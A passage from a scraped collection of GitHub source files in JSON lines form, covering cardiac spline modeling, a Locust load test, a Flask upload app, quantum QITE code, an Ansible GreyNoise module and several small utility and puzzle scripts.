measurements\n# wrap around the surface of the heart\nthicknessByPoint2 = savgol_filter(thicknessByPoint, 11, 7, mode='wrap')\n\ndegreeU = 7\ndegreeV = 3\nmX, mY, mZ, mTri = splineTools.mountainPlot(x, y, thicknessByPoint, degreeU, degreeV, numSlices, numPointsPerContour,\n fix_samples=True)\n\n# for s in range(numSlices):\n# ind = indices[s]\n# thisX = X[ind, :] + (mZ[ind, :] * crossX[ind, :])\n# thisY = Y[ind, :] + (mZ[ind, :] * crossY[ind, :])\n#\n# fig = plt.figure()\n# plt.plot(X[ind, :], Y[ind, :], c='blue')\n# plt.scatter(fatX[s, :], fatY[s, :], c='yellow')\n# plt.scatter(thisX, thisY, c='black')\n# plt.show()\n\n\nmxx = np.ravel(mX)\nmyy = np.ravel(mY)\nmzz = np.ravel(mZ)\nmTris = mTri.triangles\n\nthrees = np.full((len(mTris), 1), 3)\nmTris = np.concatenate((threes, mTris), axis=1)\n\n# pts = np.column_stack((mxx, myy, mzz))\n# mountainPoly = pv.PolyData(pts, mTris)\n# p = pv.Plotter()\n# p.add_mesh(mountainPoly)\n# p.show()\n\n# fig = plt.figure()\n# plt.title('fat thickness heat map')\n# mZ[mZ < 0] = 0\n# plt.imshow(mZ, cmap='inferno')\n# plt.xlabel('U Parameter (Around the Heart)')\n# plt.ylabel('V Parameter (Top to Bottom)')\n# plt.colorbar(label='Fat Thickness (mm)')\n# plt.show()\n\n# fig = plt.figure()\n# ax = fig.gca(projection='3d')\n# ax.plot_trisurf(np.ravel(mX), np.ravel(mY), np.ravel(mZ), triangles=mTri.triangles, antialiased=True)\n# plt.title('Fat Mountain Plot. Degree: {}'.format(degree))\n# plt.show()\n\n# call the fat triangulation function to create a 3D fat surface from the mountain plot\nstart = time.perf_counter()\nfatPolyData = splineTools.fatTriangulation(X, Y, Z, crossX, crossY, mZ, 0)\nstop = time.perf_counter()\nprint(f'Fat surface generation took {stop-start} seconds')\n\n########################################################################################################################\n# perform spline routine for right side\n# read in points from files\n\norigX, origY, origZ, numPointsEachContour = splineTools.readSlicePoints(rightFileName, startFrame, stopFrame, 10)\n\nresampX, resampY, resampZ, newXControl, newYControl, newZControl, numPointsPerContour, totalResampleError = \\\n splineTools.reSampleAndSmoothRightMyo(origX, origY, origZ, numPointsEachContour, resampleNumControlPoints, degree)\n\nrightX, rightY, rightZ, _, _, _, _, _, rTri = splineTools.fitSplineClosed3D(resampX, resampY, resampZ,\n numControlPointsU, numControlPointsV,\n degreeU, degreeV, numPointsPerContour,\n numSlices, fix_samples=True)\n\n# perform spline routine for left side\n# read in points from files\norigX, origY, origZ, numPointsEachContour = splineTools.readSlicePoints(leftFileName, startFrame, stopFrame, 10)\n\n# resample the data so each slice has the same number of points\n# do this by fitting each slice with B-spline curve\nresampX, resampY, resampZ, newXControl, newYControl, newZControl, numPointsPerContour, totalResampleError = \\\n splineTools.reSampleAndSmoothPoints(origX, origY, origZ, numPointsEachContour, resampleNumControlPoints, degree)\n\nleftX, leftY, leftZ, _, _, _, _, _, lTri = splineTools.fitSplineClosed3D(resampX, resampY, resampZ, numControlPointsU,\n numControlPointsV, degreeU, degreeV, numPointsPerContour,\n numSlices, fix_samples=True)\n\nnumL = np.full((len(lTri.triangles), 1), 3)\nLtris = np.concatenate((numL, lTri.triangles), axis=1).astype(int)\n\nnumR = np.full((len(rTri.triangles), 1), 3)\nRtris = np.concatenate((numR, rTri.triangles), axis=1).astype(int)\n\nlPoints = np.column_stack((np.ravel(leftX), np.ravel(leftY), np.ravel(leftZ)))\nrPoints = np.column_stack((np.ravel(rightX), np.ravel(rightY), np.ravel(rightZ)))\nfatPoints = np.column_stack((np.ravel(fatX), np.ravel(fatY), np.ravel(fatZ)))\n\n# plot the resulting polydata\nlPoly = pv.PolyData(lPoints, Ltris)\nrPoly = pv.PolyData(rPoints, Rtris)\nfatPoly = pv.PolyData(fatPoints)\np = pv.Plotter()\np.add_mesh(lPoly, color='red', pbr=True)\np.add_mesh(rPoly, color='blue', pbr=True)\np.add_mesh(fatPolyData, color='yellow', pbr=True)\np.show()\n\n########################################################################################################################\n# check for vtk model folder, and create it if it does not already exist\nif not isdir(vtkPath):\n mkdir(vtkPath)\n\n# generate vtk model for right myo\nrightPath = vtkPath + 'rightSide.vtk'\nsplineTools.createVTKModel(rightX, rightY, rightZ, rTri, rightPath)\n\n# generate vtk model for left myo\nleftPath = vtkPath + 'leftSide.vtk'\nsplineTools.createVTKModel(leftX, leftY, leftZ, lTri, leftPath)\n\nfatPath = vtkPath + 'fat.vtk'\nfatPolyData.save(fatPath, binary=False)\n# populate YAML file data in preparation for writing\n# numFat = len(fatDepositsX)\nsurfaces = [None]*3\nsurfaces[0] = {'name': 'Left Myocardium', 'filename': 'LeftMyocardium.vtk', 'opacity3D': 1.0, 'color':\n {'r': 1, 'g': 0, 'b': 0}}\nsurfaces[1] = {'name': 'Right Myocardium', 'filename': 'RightMyocardium.vtk', 'opacity3D': 1.0, 'color':\n {'r': 0, 'g': 0, 'b': 1}}\nsurfaces[2] = {'name': 'Fat', 'filename': 'Fat.vtk', 'opacity3D': 0.7, 'color':\n {'r': 1, 'g': 1, 'b': 0}}\n\n# create and write the YAML file\ndata = {'surfaces': surfaces}\nymlPath = vtkPath + 'fatHeartModel.yml'\nwith open(ymlPath, 'w+') as f:\n yaml.dump(data, f, default_flow_style=False, sort_keys=False)\n\n\n\n","repo_name":"colingibbons/BSplineModeling","sub_path":"fitSplineClosed3D.py","file_name":"fitSplineClosed3D.py","file_ext":"py","file_size_in_byte":16770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"4535797992","text":"from ...plugin import Plugin\n\n\nclass BrandPlugin(Plugin):\n identity = \"brand\"\n priority = 80\n validity = {\n \"type\": \"object\",\n \"properties\": {\n \"text\": {\"type\": \"string\"},\n },\n }\n\n # Context\n\n @property\n def text(self):\n site = self.document.get_plugin(\"site\")\n return self.config.get(\"text\", site.title)\n\n @property\n def title_extra(self):\n site = self.document.get_plugin(\"site\")\n if self.text != site.title:\n return f\" | {self.text}\"\n\n # Process\n\n def process_markup(self, markup):\n markup.add_style(\"style.css\")\n markup.add_markup(\"markup.html\", target=\"#livemark-left\")\n if self.title_extra:\n markup.query(\"title\").append(self.title_extra)\n","repo_name":"gassantos/livemark","sub_path":"livemark/plugins/brand/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"16588472194","text":"from typing import List, Set, Callable\n\n\ndef make_bizarro_cdf(xs: List[int]) -> Callable[[int], int]:\n F_xs = [xs[0]]\n for i, x in enumerate(xs):\n if i == 0:\n continue\n F_xs.append(F_xs[-1] + x)\n\n def F(i):\n # F(i) returns sum(x for j, x in enumerate(xs) if j <= i)\n return F_xs[i]\n\n return F\n\n\ndef is_sum_of_two(target: int, lo: int, hi: int, xs: List[int]) -> bool:\n # i really want \"inclusive-range\"\n for i in range(lo, hi):\n for j in range(lo + 1, hi + 1):\n if xs[i] + xs[j] == target:\n return True\n return False\n\n\ndef d9p1(xs: List[int], prefix_length: int) -> int:\n for i, x in enumerate(xs):\n if i < prefix_length:\n continue\n\n if not is_sum_of_two(target=x, lo=i-prefix_length, hi=i-1, xs=xs):\n return x\n\n\ndef d9p2(xs: List[int], target: int) -> int:\n F = make_bizarro_cdf(xs)\n lo = 0\n hi = 0\n while True:\n acc = F(hi) - F(lo) + xs[lo]\n if acc == target:\n return min(xs[lo:hi+1]) + max(xs[lo:hi+1])\n elif acc < target:\n hi += 1\n elif acc > target:\n lo += 1\n\n\ndef main():\n with open('data/d09.txt') as fp:\n xs = [int(x) for x in fp]\n\n print('d9p1', d9p1(xs, prefix_length=25))\n print('d9p2', d9p2(xs, 23278925))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dbabiak/aoc-2020","sub_path":"d09.py","file_name":"d09.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10649051548","text":"import json\nimport os\nfrom random import randint, choice\n\nfrom locust import HttpUser, SequentialTaskSet, task, events, between\n\nfrom common.consumers import get_consumer_credit_card_id\nfrom common.picpay_requests import picpay_legacy_api\nfrom tasks.general_behaviour import GeneralTaskSet\nfrom common.reports import save_stats, save_stats_history, save_stats_failure, notify_start_test\n\n\nclass DGTaskSet(SequentialTaskSet):\n tasks = [GeneralTaskSet]\n\n @task(2)\n def dg(self):\n if 'TOKEN' not in os.environ:\n return\n\n self.headers = {\n 'token': os.environ['TOKEN'],\n 'Content-Type': 'application/json; charset=UTF-8',\n 'device_os': choice(['android', 'ios']),\n 'app_version': choice(['10.7.0', '10.16.0'])\n }\n\n self.services = {\n 'sky_tv': {\n 'id': '5ab28951bae100048b7dfee3',\n 'products': [\n {\n 'type': 'tvrecharges',\n 'product_id': '5c6abfd384b99800330cfd32',\n 'subscriber_code': '1111111111111',\n 'amount': '18.9'\n }\n ]\n },\n 'steam': {\n 'id': '5a27161ece45a600350a76e2',\n 'products': [\n {\n 'type': 'digitalcodes',\n 'product_id': '5a27161ece45a600350a76e6',\n 'amount': '10.0'\n }\n ]\n }\n }\n\n self.open_store()\n transaction = self.create_transaction(os.environ['PASSWORD'], get_consumer_credit_card_id())\n\n if transaction is not None:\n transaction_id = transaction['data']['Transaction']['id']\n self.ack_transaction(transaction_id)\n\n def open_store(self):\n with self.client.get('/search',\n params={\n 'group': 'STORE',\n 'page': randint(0, 1)\n },\n headers=self.headers,\n timeout=30,\n name='/search_store',\n catch_response=True\n ) as response:\n\n if response.status_code != 200:\n return response.failure('Status code other than 200')\n\n result = json.loads(response.content)\n\n if 'Error' in result:\n return response.failure('Got wrong response: ' + result['Error']['description_pt'])\n\n return result\n\n def open_products(self):\n print(self.headers)\n with self.client.get('/digitalgoods/digitalcodes/products',\n params={\n 'service_id': choice(self.services_id),\n 'page': randint(0, 1)\n },\n headers=self.headers,\n timeout=30,\n name='/search_store',\n catch_response=True\n ) as response:\n\n if response.status_code != 200:\n return response.failure('Status code other than 200')\n\n result = json.loads(response.content)\n\n if 'Error' in result:\n return response.failure('Got wrong response: ' + result['Error']['description_pt'])\n\n return result\n\n def create_transaction(self, password, credit_card_id):\n digital_good = choice(list(self.services.keys()))\n digital_good_info = self.services[digital_good]\n digital_goods_service_id = digital_good_info['id']\n digital_good_product = choice(digital_good_info['products'])\n amount = digital_good_product['amount']\n\n payload = {'pin': password, 'gps_acc': 0, 'lng': 0, 'lat': 0, 'ignore_balance': False, 'from_explore': 0,\n 'origin': 'DigitalGoods', 'biometry': False, 'parcelas': '1', 'seller_id': '14370',\n 'plan_type': 'A', 'credit_card_id': credit_card_id, 'feed_visibility': 3,\n 'id_digitalgoods': digital_goods_service_id,\n 'digitalgoods': digital_good_product, 'shipping_id': '0', 'shipping': '0', 'address_id': '0'}\n\n pay_with_credit_card = randint(0, 1)\n\n if pay_with_credit_card:\n payload['credit'] = 0\n payload['total'] = amount\n else:\n payload['credit'] = amount\n payload['total'] = 0\n\n payload = json.dumps(payload)\n\n return picpay_legacy_api(self, '/api/createTransaction.json', self.headers, payload, name='buying ' + digital_good)\n\n def ack_transaction(self, transaction_id):\n payload = json.dumps({\n 'transaction_id': transaction_id\n })\n\n return picpay_legacy_api(self, '/api/ackTransaction.json', self.headers, payload)\n\n\nclass DGTest(HttpUser):\n tasks = [DGTaskSet]\n wait_time = between(1, 3)\n\n\nerrors = {}\n\n\n@events.request_failure.add_listener\ndef request_failure_handler(request_type, name, response_time, exception, **kwargs):\n key_name = name.strip().lower().replace(\" \", \"_\")\n\n if key_name not in errors:\n errors[key_name] = {}\n errors[key_name][\"count\"] = 0\n errors[key_name][\"type\"] = request_type\n errors[key_name][\"exception\"] = exception\n\n errors[key_name][\"count\"] += 1\n\n\n@events.test_stop.add_listener\ndef on_quitting(**kwargs):\n save_stats(scenery=\"dg\")\n save_stats_history(scenery=\"dg\")\n save_stats_failure(scenery=\"dg\", errors=errors)\n notify_start_test(scenery=\"dg\")","repo_name":"renatocosta/stress-load-testing","sub_path":"stresstest/locustfiles/tasks/dg.py","file_name":"dg.py","file_ext":"py","file_size_in_byte":5726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10519350508","text":"import os\nfrom flask import Flask, flash, request, redirect, url_for, render_template\n\nfrom werkzeug.utils import secure_filename\nUPLOAD_FOLDER = 'static/uploads/'\n\napp = Flask(__name__)\napp.secret_key = \"secret key\"\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024\n\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'tif','shp'])\npath1 = []\ndef allowed_file(filename):\n\treturn '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\t\n@app.route('/')\ndef upload_form():\n\treturn render_template('upload2.html')\n\n@app.route('/', methods=['POST'])\ndef upload_image():\n\tif 'files[]' not in request.files:\n\t\tflash('No file part')\n\t\treturn redirect(request.url)\n\n\tfiles = request.files.getlist('files[]')#print(files)\n\tfile_names = []\n\tfor file in files:\n\t\tif file and allowed_file(file.filename):\n\t\t\tfilename = secure_filename(file.filename)\n\n\t\t\tfile_names.append(filename)\n\t\t\tfile.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n\tx1 = [(UPLOAD_FOLDER+ str(i))for i in file_names]\n\tpath1.append(x1)\n\n\tprint('display_image filename: ' ,str(x1))\n\n\treturn render_template('upload2.html', filenames=file_names)\n\n@app.route('/display/')\ndef display_image(filename):\n\tprint('display_image filename: ' + filename)\n\treturn redirect(url_for('static', filename='uploads/' + filename), code=301)\n\n@app.route(\"/slider\", methods=[\"POST\"])\ndef test():\n red = request.form[\"r\"]\n green = request.form[\"g\"]\n blue = request.form[\"b\"]\n\n x = str(red+\",\"+green+\",\"+blue)\n\n print(red,green,blue)\n print(path1)\n opimg = \"army2.png\"\n\t\n return render_template('upload2.html', filename1='static/uploads/' + opimg, code=301)\n\t\nif __name__ == \"__main__\":\n app.run(host='127.0.0.1',port=5249)\n","repo_name":"nisha54321/imageShowWeb_flask","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42747527660","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import linalg as SciLA\nfrom pyquil.gates import *\nfrom pyquil.noise import estimate_bitstring_probs\nfrom pyquil import Program,get_qc\nfrom helper import measure,propagate,estimate_bitstring_probs,estimate_assignment_probs,update_alist\n\ndef ansatz(p,qbits):\n\tNone\n\ndef measure_energy(alist,shots,qc,qbits,hm_list,correction_matrix):\n\t# Measure the energy at the end of each time step\n\tEnergy = 0\n\tNterms = len(hm_list)\n\tfor i in range(len(hm_list)):\n\t\tfor hm in hm_list[i]:\n\t\t\tfor j in range(len(hm[0])):\n\t\t\t\tp = Program()\n\t\t\t\tp.wrap_in_numshots_loop(shots)\n\t\t\t\tro = p.declare('ro','BIT',1)\n\t\t\t\tansatz(p,qbits)\n\t\t\t\tpropagate(p,alist,qbits)\n\t\t\t\tEnergy += hm[1][j]*measure(p,ro,hm[0][j],qc,qbits,correction_matrix)\n\treturn Energy\n\ndef get_expectation(alist,shots,qc,qbits,correction_matrix):\n\t# Obtain the expectation values of the Pauli string at each time step\n\n\tsigma_expectation = np.zeros([4],dtype=complex)\n\tfor j in range(4):\n\t\tp = Program()\n\t\tp.wrap_in_numshots_loop(shots)\n\t\tro = p.declare('ro','BIT',1)\n\t\tansatz(p,qbits)\n\t\tpropagate(p,alist,qbits)\n\t\tsigma_expectation[j] = measure(p,ro,j,qc,qbits,correction_matrix)\n\treturn sigma_expectation\n\ndef qite_step(alist,shots,qc,qbits,correction_matrix,db,delta,hm_list):\n\tfor j in range(len(hm_list)):\n\t\tsigma_expectation = get_expectation(alist,shots,qc,qbits,correction_matrix)\n\t\tc = update_alist(sigma_expectation,alist,db,delta,hm_list[j])\n\treturn alist,c\n\ndef qlanz(i,E,norm,ds=0.7,dlanz=1e-2):\n\tvect = list(np.arange(1,i+2,2))\n\tn = len(vect)\n\tH = np.zeros([n,n],dtype=complex)\n\tS = np.zeros([n,n],dtype=complex)\n\tj = 0\n\tk = 0\n\tfor l in vect:\n\t\tk = 0\n\t\tfor lp in vect:\n\t\t\tS[j,k] = norm[(l+lp)//2]**2/(norm[l]*norm[lp])\n\t\t\tH[j,k] = E[(l+lp)//2]*S[j,k]\n\t\t\tk += 1\n\t\tj += 1\n\t# Determine which vectors to keep to stabilize lanczos scheme\n\tidx = [0]\n\tii = 0\n\tjj = 0\n\twhile(iidlanz)[0]\n\tS_ = np.dot(V.T,np.dot(S_,V))\n\tH_ = np.dot(V.T,np.dot(H_,V))\n\tS_ = S_[jdx,:]\n\tS_ = S_[:,jdx]\n\tH_ = H_[jdx,:]\n\tH_ = H_[:,jdx]\n\n\teps,c = SciLA.eig(H_,S_)\n\treturn np.min(eps)\n\n\ndef qite(qc,qbits,shots,db,delta,N,hm_list):\n\tE = np.zeros([N+1],dtype=complex)\n\tnorm = np.zeros([N+1],dtype=complex)\n\tEQlanz = np.zeros([(N+1)//2],dtype=complex)\n\talist = []\n\n\t# Readout error mitigation, estimate p(0|0),p(0|1),p(1|0),p(1|1)\n\tcorrection_matrix = estimate_assignment_probs(qbits[0],20000,qc)\n\tE[0] = measure_energy(alist,shots,qc,qbits,hm_list,correction_matrix)\n\tnorm[0] = 1.\n\t# Qite main loop\n\tflag = 0\n\tfor i in range(1,N+1):\n\t\tcorrection_matrix = estimate_assignment_probs(qbits[0],20000,qc)\n\t\talist,norm_c = qite_step(alist,shots,qc,qbits,correction_matrix,db,delta,hm_list)\n\t\tnorm[i] = norm[i-1]*(norm_c)\n\t\tE[i] = measure_energy(alist,shots,qc,qbits,hm_list,correction_matrix)\n\t\tif np.mod(i,2):\n\t\t\tEQlanz[flag] = qlanz(i,E,norm)\n\t\t\tflag += 1\n\n\treturn E,EQlanz\n\nif __name__ == '__main__':\n\n\t# ---- input parameters for qite\n\t# Produces Figure 2(e) of https://arxiv.org/pdf/1901.07653.pdf\n\t\n\tN = 50\n\tshots = 20000\n\tdb = 0.1\n\tqc = '1q-qvm'\n\tqbits = [0]\n\thm_list = []\n\thm_list.append([])\n\thm_list[0].append([[1,3],[1/np.sqrt(2),1/np.sqrt(2)]])\n\tdelta = 0.1\n\n\tE,EQlanz = qite(qc,qbits,shots,db,delta,N,hm_list)\n\tplt.plot(np.arange(0,N+1)*db,E,'ro',label='QITE')\n\tplt.plot(np.arange(1,N+1,2)*db,EQlanz,'-ko',label='QLanz')\n\tplt.legend()\n\tplt.grid()\n\tplt.show()\n\n","repo_name":"mariomotta/QITE","sub_path":"QPU_implementation/lanczos.py","file_name":"lanczos.py","file_ext":"py","file_size_in_byte":3684,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"32"} +{"seq_id":"37106344794","text":"import sys\ninput=sys.stdin.readline\n\nT=int(input())\nfor _ in range(T):\n N=int(input())\n value=list(map(int,input().split()))\n result=0\n base=value[-1]\n for i in range(N-2,-1,-1):\n if value[i] Optional[BinaryTreeNode]:\n if start >= len(values) or values[start] is None:\n return None\n\n root = BinaryTreeNode(values[start])\n root.left = BinaryTree.__build_tree(*values, start=2 * start + 1)\n root.right = BinaryTree.__build_tree(*values, start=2 * start + 2)\n return root\n\n def __init__(self, *values):\n self.root = BinaryTree.__build_tree(*values)\n\n # O(n)\n def level_traversal(self):\n result = list()\n if not self.root:\n return result\n\n nodes = deque([self.root])\n while nodes:\n n = nodes.pop()\n result.append(n.value)\n if n.left:\n nodes.appendleft(n.left)\n if n.right:\n nodes.appendleft(n.right)\n else:\n return result\n\n\nassert BinaryTree(1, 2, 3, None, None, 4, 5).level_traversal() == [1, 2, 3, 4, 5]\nassert BinaryTree(None).level_traversal() == []\nassert BinaryTree(20, 8, 22, 4, 12, None, None, None, None, 10, 14).level_traversal() == [20, 8, 22, 4, 12, 10, 14]\n","repo_name":"diothor/dcp-python","sub_path":"problems/graph_problems/problem_752.py","file_name":"problem_752.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19613562632","text":"\"\"\"\nDesign for all frames inside advanced tab.\n\"\"\"\n\nfrom tkinter.constants import DISABLED, NORMAL\nfrom tkinter.ttk import Button, Frame, Entry\n\n\nclass ChooseFileFrame(Frame):\n def __init__(self, tab, *args, **kwargs) -> None:\n super().__init__(tab, *args, **kwargs)\n\n Entry(\n self,\n textvariable=tab.picked_file,\n width=40,\n font=(\"Halvetica\", 8),\n state=\"readonly\",\n ).grid(row=0, column=0)\n\n Button(self, text=\"Choose File\", command=tab.openFile, style=\"B2.TButton\").grid(\n row=0, column=1, padx=10\n )\n\n\nclass ButtonAdvancedFrame(Frame):\n def __init__(self, tab, *args, **kwargs) -> None:\n super().__init__(tab, *args, **kwargs)\n\n self.b1 = Button(\n self,\n text=\"Export Cost Report\",\n command=tab.generateNetMarginReport,\n padding=10,\n style=\"B1.TButton\",\n )\n\n self.b2 = Button(\n self,\n text=\"Export All Costsheets\",\n command=tab.generateBulkCostsheet,\n padding=10,\n style=\"B1.TButton\",\n )\n self.b1.pack()\n self.b2.pack(pady=20)\n\n def disableButtons(self):\n self.b1[\"state\"] = DISABLED\n self.b2[\"state\"] = DISABLED\n\n def enableButtons(self):\n self.b1[\"state\"] = NORMAL\n self.b2[\"state\"] = NORMAL\n","repo_name":"kalaLokia/fbr_costanalysis","sub_path":"app/frames/advanced_frames.py","file_name":"advanced_frames.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33589352714","text":"from __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'}\n\nDOCUMENTATION = '''\nmodule: greynoise\nshort_description: Communicate with the GreyNoise API\ndescription:\n - The GreyNoise module queries the GreyNoise API.\nversion_added: \"2.8\"\nauthor: \"Whitney Champion (@shortstack)\"\noptions:\n action:\n description:\n - Action to take against GreyNoise API.\n required: true\n default: list_tags\n choices: [ query_ip, query_tag, list_tags ]\n type: str\n ip:\n description:\n - IP to query.\n required: true\n type: str\n tag:\n description:\n - Tag to query.\n required: true\n type: str\n greynoise_api_key:\n description:\n - GreyNoise API key\n required: false\n type: str\n'''\n\nEXAMPLES = '''\n# List all tags available\n- greynoise:\n action: list_tags\n\n# Query all tags associated with a given IP\n- greynoise:\n action: query_ip\n ip: \"8.8.8.8\"\n greynoise_api_key: \"API_KEY\"\n\n# Query all IPs that have a given tag\n- greynoise:\n action: query_tag\n ip: \"SHODAN\"\n greynoise_api_key: \"API_KEY\"\n'''\n\nRETURN = '''\njson:\n description: The JSON response from the GreyNoise API\n returned: always\n type: str\nmsg:\n description: The HTTP message from the request\n returned: always\n type: str\n sample: OK (unknown bytes)\nstatus:\n description: The HTTP status code from the request\n returned: always\n type: int\n sample: 200\nurl:\n description: The actual URL used for the request\n returned: always\n type: str\n sample: https://www.ansible.com/\n'''\n\n\n# import module snippets\nimport json\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.urls import fetch_url, to_text\n\n\ndef list_tags(module, base_url, headers):\n\n url = \"/\".join([base_url, \"experimental/gnql?query=tags\"])\n\n response, info = fetch_url(module=module, url=url, headers=json.loads(headers), method='GET')\n\n if info['status'] != 200:\n module.fail_json(msg=\"Fail: %s\" % (\"Status: \" + str(info['msg']) + \", Message: \" + str(info['body'])))\n\n try:\n content = to_text(response.read(), errors='surrogate_or_strict')\n except AttributeError:\n content = info.pop('body', '')\n\n return info['status'], info['msg'], content, url\n\n\ndef query_ip(module, base_url, ip, headers):\n\n url = \"/\".join([base_url, \"experimental/gnql?query=ip:%s\" % ip])\n\n response, info = fetch_url(module=module, headers=json.loads(headers), url=url, method='GET')\n\n if info['status'] != 200:\n module.fail_json(msg=\"Fail: %s\" % (\"Status: \" + str(info['msg']) + \", Message: \" + str(info['body'])))\n\n try:\n content = to_text(response.read(), errors='surrogate_or_strict')\n except AttributeError:\n content = info.pop('body', '')\n\n return info['status'], info['msg'], content, url\n\n\ndef query_tag(module, base_url, tag, headers):\n\n url = \"/\".join([base_url, \"experimental/gnql?query=tags:%s\" % tag])\n\n response, info = fetch_url(module=module, url=url, headers=json.loads(headers), method='GET')\n\n if info['status'] != 200:\n module.fail_json(msg=\"Fail: %s\" % (\"Status: \" + str(info['msg']) + \", Message: \" + str(info['body'])))\n\n try:\n content = to_text(response.read(), errors='surrogate_or_strict')\n except AttributeError:\n content = info.pop('body', '')\n\n return info['status'], info['msg'], content, url\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n action=dict(type='str', required=False, default='list_tags', choices=['query_ip', 'query_tag', 'list_tags']),\n ip=dict(type='str'),\n tag=dict(type='str'),\n greynoise_api_key=dict(type='str', no_log=True)\n )\n )\n\n action = module.params['action']\n ip = module.params['ip']\n tag = module.params['tag']\n greynoise_api_key = module.params['greynoise_api_key']\n\n base_url = \"https://api.greynoise.io/v2\"\n headers = '{ \"Accept\": \"application/json\", \\\n \"Key\": \"%s\" }' % greynoise_api_key\n\n if action == \"query_ip\":\n status, message, content, url = query_ip(module, base_url, ip, headers)\n elif action == \"query_tag\":\n status, message, content, url = query_tag(module, base_url, tag, headers)\n elif action == \"list_tags\":\n status, message, content, url = list_tags(module, base_url, headers)\n\n uresp = {}\n content = to_text(content, encoding='UTF-8')\n\n try:\n js = json.loads(content)\n except ValueError:\n js = \"\"\n\n uresp['status'] = status\n uresp['msg'] = message\n uresp['json'] = js\n uresp['url'] = url\n\n module.exit_json(**uresp)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ReconInfoSec/ansible-greynoise","sub_path":"library/greynoise.py","file_name":"greynoise.py","file_ext":"py","file_size_in_byte":4802,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"14484138815","text":"import os\nimport boto3\nfrom tqdm import tqdm \n\ns3 = boto3.client('s3')\n\nbucket_s3 = \"datalake-desafio-algbretao-tf-prd\"\npath_s3 = \"RAIS-2020/raw/\"\npath_local = '../data/'\nfile_names = [f for f in os.listdir(path_local) if 'git' not in f]\n\nfor arq in tqdm(file_names):\n s3.upload_file(path_local + arq, bucket_s3, path_s3 + arq)\n\nprint(\"Os arquivos foram carregados:\")\nfor item in file_names:\n print(\"-> \" + item)","repo_name":"algbretao/rep-desafio-edc","sub_path":"project/interactive_s3.py","file_name":"interactive_s3.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35371633736","text":"import random\nimport string\n\nfifty = ''\n# 임의의 문자열 생성\nfor i in range(50):\n fifty += random.choice(string.ascii_letters)\n\nprint('생성된 문자열: %s' %fifty)\nprint('이 문자열의 길이: ', len(fifty))\n","repo_name":"minsuklee80/aggie","sub_path":"practice/practice_길이50인문자열생성-1.py","file_name":"practice_길이50인문자열생성-1.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32234889301","text":"import pyautogui\r\nimport time\r\nfrom pynput import keyboard\r\nfrom threading import Thread \r\n\r\ndef exit_program():\r\n def on_press(key):\r\n if str(key) == 'Key.esc':\r\n main.status = 'exit'\r\n print(\"Exiting program\")\r\n exit() \r\n \r\n with keyboard.Listener(on_press=on_press) as listener:\r\n listener.join()\r\n\r\ndef main():\r\n main.status = 'run'\r\n time.sleep(5)\r\n \r\n while True:\r\n print('running')\r\n \r\n pyautogui.click(button='right')\r\n time.sleep(0.1)\r\n \r\n if main.status == 'exit':\r\n print('Main program closing')\r\n break\r\n\r\nThread(target=main).start()\r\nThread(target=exit_program).start()","repo_name":"bernardoamorim7/minecraft-fishing-autoclicker","sub_path":"minecraft_autoclicker.py","file_name":"minecraft_autoclicker.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"193158832","text":"# https://leetcode.com/problems/remove-duplicates-from-sorted-array/description/\nclass Solution(object):\n def removeDuplicates(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if len(nums) >1:\n\n curr_p = 1\n\n while curr_p < len(nums):\n if nums[curr_p] == nums[curr_p - 1]:\n nums.pop(curr_p)\n else:\n curr_p += 1\n","repo_name":"renruoxu/algorithms","sub_path":"leetcode/26_remove_duplicates.py","file_name":"26_remove_duplicates.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34225634736","text":"import csv\nimport json\nimport collections\nimport logging\nimport os\nfrom leaguepredict.data.League import League\nfrom leaguepredict.data.Fixture import Fixture\nfrom leaguepredict.features.Features import Features\n\nclass FeatureSet:\n\n\tdef __init__(self):\n\t\tself.logger = logging.getLogger('LeaguePredict')\n\t\n\t\t# The list of Features objects\n\t\tself.featuresList = []\n\t\n\tdef addFeatures(self, filename):\n\t\t\"\"\" Adds features from a specified filename.\n\t\t\"\"\"\n\t\tself.logger = logging.getLogger('LeaguePredict')\n\n\t\t# Read the CSV 